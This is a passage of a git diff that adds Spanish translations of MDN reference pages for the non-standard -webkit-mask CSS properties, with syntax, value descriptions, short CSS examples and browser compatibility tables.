+ <dd><code>border | padding | content | text</code></dd>
+</dl>
+
+<h2 id="Valores">Valores</h2>
+
+<dl>
+ <dt>border</dt>
+ <dd><code><font face="Open Sans, Arial, sans-serif">Si se ha especificado </font>border</code> , la máscara de imagen se extiende hasta el borde del elemento.</dd>
+ <dt>padding</dt>
+ <dd>Si se ha especificado <code>padding</code> , la imagen de máscara de extiendo hasta el padding (relleno) del elemento.</dd>
+ <dt>content</dt>
+ <dd>Si se ha espeficiado c<code>ontent</code> , la imagen de máscara se recorta al tamaño del contenido del elemento.</dd>
+ <dt>text</dt>
+ <dd>Si se ha especificado  <code>text</code> , la imagen de máscara de recorta al tamaño del texto del elemento.</dd>
+</dl>
+
+<h2 id="Ejemplo">Ejemplo</h2>
+
+<pre class="brush: css">div {
+    -webkit-mask-image: url('images/mask.png');
+    -webkit-mask-clip: padding;
+}
+</pre>
+
+<h2 id="Browser_Compatibility" name="Browser_Compatibility">Compatibilidad con los distintos navegadores</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>1.0</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatNo() }}</td>
+   <td>4.0</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>2.1</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatNo() }}</td>
+   <td>3.2</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Ver_además">Ver además</h2>
+
+<p>{{ cssxref("-webkit-mask") }}, {{ cssxref("-webkit-mask-origin") }}, {{ cssxref("-webkit-mask-box-image") }}, {{ cssxref("-webkit-mask-image") }},{{ cssxref("-webkit-mask-composite") }},{{ cssxref("-webkit-mask-repeat") }}</p>
diff --git a/files/es/web/css/-webkit-mask-composite/index.html b/files/es/web/css/-webkit-mask-composite/index.html
new file mode 100644
index 0000000000..c8a3666fee
--- /dev/null
+++ b/files/es/web/css/-webkit-mask-composite/index.html
@@ -0,0 +1,121 @@
+---
+title: '-webkit-mask-composite'
+slug: Web/CSS/-webkit-mask-composite
+tags:
+  - CSS
+translation_of: Web/CSS/-webkit-mask-composite
+---
+<p>{{ CSSRef() }}</p>
+
+<p>{{ Non-standard_header() }}</p>
+
+<p>La propiedad <code style="font-size: 14px; font-style: normal; line-height: 1.5;">-webkit-mask-composite</code> especifica la forma en la que múltiples imágenes de máscara son compuestas para ser aplicadas al mismo elemento. Son compuestas en el orden en el que son declaradas en la propiedad {{ Cssxref("-webkit-mask-image") }}.</p>
+
+<ul>
+ <li>{{ Xref_cssinitial() }}: source-over</li>
+ <li>Se aplica a : todos los elementos</li>
+ <li>{{ Xref_cssinherited() }}: no</li>
+ <li>Media: {{ Xref_cssvisual() }}</li>
+ <li>{{ Xref_csscomputed() }}: tal y como se especifica.</li>
+</ul>
+
+<h2 id="Síntaxis">Síntaxis</h2>
+
+<pre class="eval">-webkit-mask-composite: &lt;composite-style&gt;[, &lt;composite-style&gt;]*
+</pre>
+
+<p>Donde:</p>
+
+<dl>
+ <dt>&lt;composite-style&gt;</dt>
+ <dd><code>clear | copy | source-over | source-in | source-out | source-atop | destination-over | destination-in | destination-out | destination-atop | xor</code></dd>
+</dl>
+
+<h2 id="Valores">Valores</h2>
+
+<dl>
+ <dt>clear</dt>
+ <dd>Los píxeles coincidentes en la imagen origen y destino son borrados.</dd>
+ <dt>copy</dt>
+ <dd>La imagen de máscara origen reemplaza la imagen de máscara destino.</dd>
+ <dt>source-over</dt>
+ <dd>La imagen de máscara origen se dibuja sobre la imagen de máscara destino.</dd>
+ <dt>source-in</dt>
+ <dd>Los píxeles coincidentes en las imágenes de máscara origen y destino son reemplazados por los píxeles de la imagen origen; los demás son borrados.</dd>
+ <dt>source-out</dt>
+ <dd>Los píxeles coincidentes en las imágenes de máscara origen y destino son borrados; todos los demás píxeles de la imagen de máscara origen son dibujados.</dd>
+ <dt>source-atop</dt>
+ <dd>Se dibujan los píxeles de la imagen de máscara destino. Los de la imagen de máscara destino sólo son dibujados si están sobre una parte no transparente de la imagen de máscara destino. Esto provoca que la imagen de máscara origen no tengo efecto alguno.</dd>
+ <dt>destination-over</dt>
+ <dd>Se dibuja la imagen de máscara destino sobre la de origen.</dd>
+ <dt>destination-in</dt>
+ <dd>Los píxeles coincidentes en las imágenes de máscara origen y destino permanecen; los demás son borrados.</dd>
+ <dt>destination-out</dt>
+ <dd>Los píxeles coincidentes en las imágenes de máscara origen y destino se borran; se dibuja todos los demás píxeles de la imagen de máscara origen.</dd>
+ <dt>destination-atop</dt>
+ <dd>Se dibujan Los píxeles de la imagen de máscara origen. Los de la imagen de máscara destino sólo se dibujaran si coinciden con una parte no transparente de la imagen de máscara destino. Esto provoca que la imagen de máscara destino no tenga efecto.</dd>
+ <dt>xor</dt>
+ <dd>Los píxeles coincidentes en las imágenes de máscara origen y destino se convierten en totalmente transparentes y ambos con totalmente opacos.</dd>
+</dl>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<pre class="brush: css">.example {
+    -webkit-mask-image: url(mask1.png), url('mask2.png');
+    -webkit-mask-composite: xor, source-over;
+}
+</pre>
+
+<h2 id="Compatibilidad_con_los_distintos_navegadores">Compatibilidad con los distintos navegadores</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>1.0</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatNo() }}</td>
+   <td>4.0</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>2.1</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatNo() }}</td>
+   <td>3.2</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Ver_además">Ver además</h2>
+
+<p>{{ cssxref("-webkit-mask") }}, {{ cssxref("-webkit-mask-clip") }}, {{ cssxref("-webkit-mask-origin") }}, {{ cssxref("-webkit-mask-box-image") }}, {{ cssxref("-webkit-mask-attachment") }},{{ cssxref("-webkit-mask-image") }}</p>
diff --git a/files/es/web/css/-webkit-mask-image/index.html b/files/es/web/css/-webkit-mask-image/index.html
new file mode 100644
index 0000000000..17fc6d5e1e
--- /dev/null
+++ b/files/es/web/css/-webkit-mask-image/index.html
@@ -0,0 +1,156 @@
+---
+title: '-webkit-mask-image'
+slug: Web/CSS/-webkit-mask-image
+tags:
+  - CSS
+  - No estándar(2)
+  - Propiedad CSS
+  - Referencia CSS
+translation_of: Web/CSS/mask-image
+---
+<div>{{CSSRef}}{{Non-standard_header}}</div>
+
+<h2 id="Resumen">Resumen</h2>
+
+<p><code><font face="Open Sans, Arial, sans-serif">La propiedad CSS </font>-webkit-mask-image</code> establece la imagen de máscara para un elemento. Una imagen de máscara fija que partes del elemento serán visibles de acuerdo a la transparencia de la imagen de máscara.</p>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="brush:css">-webkit-mask-image: url(images/mymask.png);
+-webkit-mask-image: url(images/foo.png), url(images/bar.png);
+-webkit-mask-image: none;
+</pre>
+
+<h3 id="Valores">Valores</h3>
+
+<dl>
+ <dt>&lt;uri&gt;</dt>
+ <dd>La localización del recurso imagen que será utilizado como imagen de máscara.</dd>
+ <dt>&lt;gradient&gt;</dt>
+ <dd>La función <code>webkit-gradient</code> que será usada como imagen de máscara.</dd>
+ <dt>none</dt>
+ <dd>Usado para especificar si un elemento no tiene imagen de máscara.</dd>
+</dl>
+
+<h3 id="Sintaxis_Formal">Sintaxis Formal</h3>
+
+<pre class="syntaxbox">{{csssyntax}}
+</pre>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<pre class="brush: css">body {
+  -webkit-mask-image: url('images/mymask.png');
+}
+
+div {
+  -webkit-mask-image: url('images/foo.png'), url('images/bar.png');
+}
+
+p {
+  -webkit-mask-image: none;
+}
+</pre>
+
+<p>Si se especifican varias imágenes, la región visible que sale como resultado es la combinación de las regiones visibles de cada máscara individual.</p>
+
+<h2 id="Compatibilidad_con_los_distintos_navegadores.">Compatibilidad con los distintos navegadores.</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Características</th>
+   <th>Firefox (Gecko)</th>
+   <th>Chrome</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatNo}}</td>
+   <td>1.0</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>4.0</td>
+  </tr>
+  <tr>
+   <td>Múltiples imágenes de máscara</td>
+   <td>{{CompatNo}}</td>
+   <td>1.0</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>4.0</td>
+  </tr>
+  <tr>
+   <td>Gradientes</td>
+   <td>{{CompatNo}}</td>
+   <td>1.0{{property_prefix("-webkit")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>4.0{{property_prefix("-webkit")}}</td>
+  </tr>
+  <tr>
+   <td>Máscaras SVG</td>
+   <td>{{CompatNo}}</td>
+   <td>8.0<sup>[1]</sup></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>4.0</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>iOS Safari</th>
+   <th>Opera Mini</th>
+   <th>Opera Mobile</th>
+   <th>Android Browser</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>3.2</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>2.1</td>
+  </tr>
+  <tr>
+   <td>Múltiples imágenes de máscara</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td>Gradientes</td>
+   <td>{{CompatVersionUnknown}}{{property_prefix("-webkit")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}{{property_prefix("-webkit")}}</td>
+  </tr>
+  <tr>
+   <td>Máscaras SVG</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Desde la versión 1.9.1 {{geckoRelease("1.9.1")}} Gecko soporta <a href="/es/docs/Applying_SVG_effects_to_HTML_content#Example_Masking">Efectos de filtro SVG</a>, que se pueden usar para aplicar máscaras a contenido HTML.</p>
+
+<h2 id="Ver_además">Ver además</h2>
+
+<p>{{cssxref("-webkit-mask")}}, {{cssxref("-webkit-mask-origin")}}, {{cssxref("-webkit-mask-attachment")}},{{cssxref("-webkit-mask-image")}},{{cssxref("-webkit-mask-composite")}},{{cssxref("-webkit-mask-repeat")}}</p>
diff --git a/files/es/web/css/-webkit-mask-origin/index.html b/files/es/web/css/-webkit-mask-origin/index.html
new file mode 100644
index 0000000000..23b0f52dc7
--- /dev/null
+++ b/files/es/web/css/-webkit-mask-origin/index.html
@@ -0,0 +1,100 @@
+---
+title: '-webkit-mask-origin'
+slug: Web/CSS/-webkit-mask-origin
+tags:
+  - CSS
+  - Referencia
+translation_of: Web/CSS/mask-origin
+---
+<div>{{CSSRef}}{{Non-standard_header}}</div>
+
+<p>La propiedad  <a href="/es/docs/Web/CSS">CSS</a> <code>-webkit-mask-origin</code> determina el origen de una imagen de máscara. El valor de la propiedad {{cssxref("-webkit-mask-position")}} se interpreta en relación al valor de esta propiedad. No se aplica cuando <code>-webkit-mask-attachment</code> es <code>fixed</code>.</p>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Síntaxis">Síntaxis</h2>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Valores">Valores</h2>
+
+<dl>
+ <dt>padding</dt>
+ <dd>Valor por defecto. La posición de la imagen de máscara es relativa al padding (relleno). (Para cajas solas  "<code>0 0</code>" es la esquina superior izquierda del límite del padding, "<code>100% 100%</code>" es la esquina inferior derecha.)</dd>
+ <dt>border</dt>
+ <dd>La posición de la imagen de máscara es relativa al borde.</dd>
+ <dt>content</dt>
+ <dd>La posición de la imagen de máscara es relativa al contenido.</dd>
+</dl>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<pre class="brush: css">.example {
+  border: 10px double;
+  padding: 10px;
+  -webkit-mask-image: url('mask.png');
+
+  /* La imagen de máscara estará dentro del padding */
+  -webkit-mask-origin: content;
+}
+</pre>
+
+<pre class="brush: css">div {
+  -webkit-mask-image: url('mask1.png'), url('mask2.png');
+  -webkit-mask-origin: padding, content;
+}
+</pre>
+
+<h2 id="Compatibilidad_con_los_distintos_navegadores.">Compatibilidad con los distintos navegadores.</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>1.0</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>4.0</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Soporte básica</td>
+   <td>2.1</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>3.2</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Ver_además">Ver además</h2>
+
+<p>{{cssxref("-webkit-mask")}}, {{cssxref("-webkit-mask-box-image")}}, {{cssxref("-webkit-mask-attachment")}}, {{cssxref("-webkit-mask-image")}},{{cssxref("-webkit-mask-composite")}}, {{cssxref("-webkit-mask-repeat")}}, {{cssxref("-webkit-mask-clip")}}</p>
diff --git a/files/es/web/css/-webkit-mask-position-x/index.html b/files/es/web/css/-webkit-mask-position-x/index.html
new file mode 100644
index 0000000000..a2d712e337
--- /dev/null
+++ b/files/es/web/css/-webkit-mask-position-x/index.html
@@ -0,0 +1,132 @@
+---
+title: '-webkit-mask-position-x'
+slug: Web/CSS/-webkit-mask-position-x
+tags:
+  - CSS
+  - Máscaras CSS
+  - No estándar(2)
+  - Propiedad CSS
+  - Referencia
+translation_of: Web/CSS/-webkit-mask-position-x
+---
+<div>{{CSSRef}}{{Non-standard_header}}</div>
+
+<h2 id="Resumen">Resumen</h2>
+
+<p>La propiedad CSS <code>-webkit-mask-position-x</code> CSS establece la posición horizontal inicial de una imagen de máscara.</p>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Síntaxis">Síntaxis</h2>
+
+<pre class="brush: css">/* Palabras Clave valores */
+-webkit-mask-position-x: left;
+-webkit-mask-position-x: center;
+-webkit-mask-position-x: right;
+
+/* &lt;porcentaje&gt; valores */
+-webkit-mask-position-x: 100%;
+-webkit-mask-position-x: -50%;
+
+/* &lt;longitud&gt; valores */
+-webkit-mask-position-x: 50px;
+-webkit-mask-position-x: -1cm;
+
+/* Múltiples valores */
+-webkit-mask-position-x: 50px, 25%, -3em;
+
+/* Valores globales */
+-webkit-mask-position-x: inherit;
+-webkit-mask-position-x: initial;
+-webkit-mask-position-x: unset;
+</pre>
+
+<h2 id="Valores">Valores</h2>
+
+<dl>
+ <dt><code>&lt;percentage&gt;</code></dt>
+ <dd>Un porcentaje que sirve para indicar, empezando por el lado izquierdo, la posición de la imagen en relación a la dimensión horizontal del área de la caja de relleno (padding). Un valor del 0% indica que  el lado izquierdo de la imagen de máscara se alinea con el lado izquierdo de la caja. Un valor del 100% indica que que el lado derecho de la imagen se alinea con el lado derecho de la caja.</dd>
+ <dt><code>&lt;length&gt;</code></dt>
+ <dd>Una longitud indicando la posición del lado izquierdo de la imagen en relación con el lado izquierdo de la caja.</dd>
+ <dt><code><strong>left</strong></code></dt>
+ <dd>Equivalente a <code>0%</code>.</dd>
+ <dt><code><strong>center</strong></code></dt>
+ <dd>Equivalente a <code>50%</code>.</dd>
+ <dt><code><strong>right</strong></code></dt>
+ <dd>Equivalente a <code>100%</code>.</dd>
+</dl>
+
+<h3 id="Síntaxis_Formal">Síntaxis Formal</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<pre class="brush:css">.exampleOne {
+  -webkit-mask-image: url(mask.png);
+  -webkit-mask-position-x: right;
+}
+
+.exampleTwo {
+  -webkit-mask-image: url(mask.png);
+  -webkit-mask-position-x: 25%;
+}
+</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<p>No forma parte de ninguna especificación.</p>
+
+<h2 id="Compatibilidad_con_los_distintos_navegadores">Compatibilidad con los distintos navegadores</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>1.0</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>4.0</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<p>{{cssxref("-webkit-mask-position")}}, {{cssxref("-webkit-mask-position-y")}}, {{cssxref("-webkit-mask-origin")}}, {{cssxref("-webkit-mask-attachment")}}</p>
diff --git a/files/es/web/css/-webkit-mask-position-y/index.html b/files/es/web/css/-webkit-mask-position-y/index.html
new file mode 100644
index 0000000000..e68f3ac8e8
--- /dev/null
+++ b/files/es/web/css/-webkit-mask-position-y/index.html
@@ -0,0 +1,132 @@
+---
+title: '-webkit-mask-position-y'
+slug: Web/CSS/-webkit-mask-position-y
+tags:
+  - CSS
+  - Máscaras CSS
+  - No estándar(2)
+  - Propiedad CSS
+  - Referencia
+translation_of: Web/CSS/-webkit-mask-position-y
+---
+<div>{{CSSRef}}{{Non-standard_header}}</div>
+
+<h2 id="Resumen">Resumen</h2>
+
+<p>La propiedad CSS <code>-webkit-mask-position-y</code> fija la posición inicial vertical de una imagen de máscara.</p>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Síntaxis">Síntaxis</h2>
+
+<pre class="brush: css">/* Palabras clave valores */
+-webkit-mask-position-y: top;
+-webkit-mask-position-y: center;
+-webkit-mask-position-y: bottom;
+
+/* valores &lt;porcentaje&gt; */
+-webkit-mask-position-y: 100%;
+-webkit-mask-position-y: -50%;
+
+/* valores &lt;longitud&gt; */
+-webkit-mask-position-y: 50px;
+-webkit-mask-position-y: -1cm;
+
+/* Valores Múltiples*/
+-webkit-mask-position-y: 50px, 25%, -3em;
+
+/* Valores globales */
+-webkit-mask-position-y: inherit;
+-webkit-mask-position-y: initial;
+-webkit-mask-position-y: unset;
+</pre>
+
+<h2 id="Values">Values</h2>
+
+<dl>
+ <dt><code>&lt;percentage&gt;</code></dt>
+ <dd>Un porcentaje que sirve para indicar, empezando por el lado superior, la posición de la imagen en relación a la dimensión vertical del área de la caja de relleno (padding). Un valor del 0% indica que  el lado superior de la imagen de máscara se alinea con el lado superior de la caja. Un valor del 100% indica que que el lado inferior de la imagen se alinea con el lado inferior de la caja.</dd>
+ <dt><code>&lt;length&gt;</code></dt>
+ <dd>Una longitud indicando la posición del lado superior de la imagen en relación con el lado superior de la cajade relleno (padding).</dd>
+ <dt><code><strong>top</strong></code></dt>
+ <dd>Equivalente a <code>0%</code>.</dd>
+ <dt><code><strong>bottom</strong></code></dt>
+ <dd>Equivalente a <code>100%</code>.</dd>
+ <dt><code><strong>center</strong></code></dt>
+ <dd>Equivalente a <code>50%</code>.</dd>
+</dl>
+
+<h3 id="Síntaxis_Formal">Síntaxis Formal</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<pre class="brush:css">.exampleOne {
+  -webkit-mask-image: url(mask.png);
+  -webkit-mask-position-y: bottom;
+}
+
+.exampleTwo {
+  -webkit-mask-image: url(mask.png);
+  -webkit-mask-position-y: 25%;
+}
+</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<p>Not part of any specification.</p>
+
+<h2 id="Compatibilidad_con_los_distintos_navegadores">Compatibilidad con los distintos navegadores</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>1.0</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>4.0</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Ver_además">Ver además</h2>
+
+<p>{{cssxref("-webkit-mask-position")}}, {{cssxref("-webkit-mask-position-x")}}, {{cssxref("-webkit-mask-origin")}}, {{cssxref("-webkit-mask-attachment")}}</p>
diff --git a/files/es/web/css/-webkit-mask-position/index.html b/files/es/web/css/-webkit-mask-position/index.html
new file mode 100644
index 0000000000..f2162ce36b
--- /dev/null
+++ b/files/es/web/css/-webkit-mask-position/index.html
@@ -0,0 +1,118 @@
+---
+title: '-webkit-mask-position'
+slug: Web/CSS/-webkit-mask-position
+tags:
+  - CSS
+  - No estándar(2)
+  - Propiedad CSS
+  - Referencia CSS
+translation_of: Web/CSS/mask-position
+---
+<div>{{CSSRef}}{{Non-standard_header}}</div>
+
+<h2 id="Sumario">Sumario</h2>
+
+<pre>la propiedad CSS -webkit-mask-position fija la posición inicial de una máscara de imagen.</pre>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Síntaxis">Síntaxis</h2>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Valores">Valores</h2>
+
+<p> Acepta uno o dos valores.  Se permiten valores negativos para {{cssxref("&lt;percentage&gt;")}} y {{cssxref("&lt;length&gt;")}}.</p>
+
+<ul>
+ <li>Si sólo se especifica un valor, el segundo valor se supone que es center.</li>
+ <li>El primer valor representa la posición horizontal y el segundo la posición vertical (si al menos un valor no es una palabra clave).</li>
+</ul>
+
+<dl>
+ <dt><code>&lt;percentage&gt;</code></dt>
+ <dd>Con un par de valores  0% 0%,  (es igual a 0 0) la esquina superior izquierda de la imagen se alinea con la esquina superior izquierda del borde del relleno del cuadro. Un valor par de 100% 100% coloca la esquina inferior derecha de la imagen  en la esquina inferior derecha del zona del relleno. Con un par de valores de 14% 84%, el punto del 14%  a lo largo y el 84% hacia abajo de la imagen son situados el punto del 14%  a lo largo y el 84% del área del relleno.</dd>
+ <dt><code>&lt;length&gt;</code></dt>
+ <dd>Con un par de valores 2cm 1cm, la esquina superior izquierda de la imagen se coloca a 2cm a la derecha y 1cm por debajo de la esquina superior izquierda del área del relleno.</dd>
+ <dt><code><strong>top</strong></code></dt>
+ <dd>Equivalente al 0% para la posición vertical.</dd>
+ <dt><code><strong>right</strong></code></dt>
+ <dd>Equivalente al 100% para la posición horizontal.</dd>
+ <dt><code><strong>bottom</strong></code></dt>
+ <dd>Equivalente al 100% para la posición vertical.</dd>
+ <dt><code><strong>left</strong></code></dt>
+ <dd>Equivalente al 0% para la posición horizontal.</dd>
+ <dt><code><strong>center</strong></code></dt>
+ <dd>Equivalente al 50% para la posición horizontal si no se da otra forma, o 50% para la posición vertical si lo es.</dd>
+</dl>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<pre class="brush:css">.exampleOne {
+  -webkit-mask-image: url(mask.png);
+  -webkit-mask-position: bottom right;
+}
+
+.exampleTwo {
+  -webkit-mask-image: url(mask.png);
+  -webkit-mask-position: 25%;
+}
+</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<p>No forma parte de ninguna especificación.</p>
+
+<h2 id="Compatibilidad_con_los_distintos_nevegadores">Compatibilidad con los distintos nevegadores</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Características</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Soporte Básico</td>
+   <td>1.0</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>4.0</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Características</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Soporte Básico</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Ver_tambien">Ver tambien</h2>
+
+<p>{{cssxref("-webkit-mask-origin")}}, {{cssxref("-webkit-mask-box-image")}}, {{cssxref("-webkit-mask-attachment")}}, {{cssxref("-webkit-mask-clip")}}, {{cssxref("-webkit-mask-image")}}, {{cssxref("-webkit-mask-composite")}}, {{cssxref("-webkit-mask-repeat")}}</p>
diff --git a/files/es/web/css/-webkit-mask-repeat-x/index.html b/files/es/web/css/-webkit-mask-repeat-x/index.html
new file mode 100644
index 0000000000..5395782abd
--- /dev/null
+++ b/files/es/web/css/-webkit-mask-repeat-x/index.html
@@ -0,0 +1,136 @@
+---
+title: '-webkit-mask-repeat-x'
+slug: Web/CSS/-webkit-mask-repeat-x
+tags:
+  - CSS
+  - Máscara CSS
+  - NeedsBrowserCompatibility
+  - NeedsMobileBrowserCompatibility
+  - No estandar
+  - Propiedad CSS
+  - Referencia
+translation_of: Web/CSS/-webkit-mask-repeat-x
+---
+<div>{{CSSRef}}{{Non-standard_header}}</div>
+
+<h2 id="Resumen">Resumen</h2>
+
+<p>La propiedad CSS <code>-webkit-mask-repeat-x</code> especifica si una imagen de máscara se repite(en mosaico) y cómo se lleva acabo esa repetición de manera horizontal.</p>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Síntaxis">Síntaxis</h2>
+
+<pre class="brush:css">/* Palabras Clave Valor */
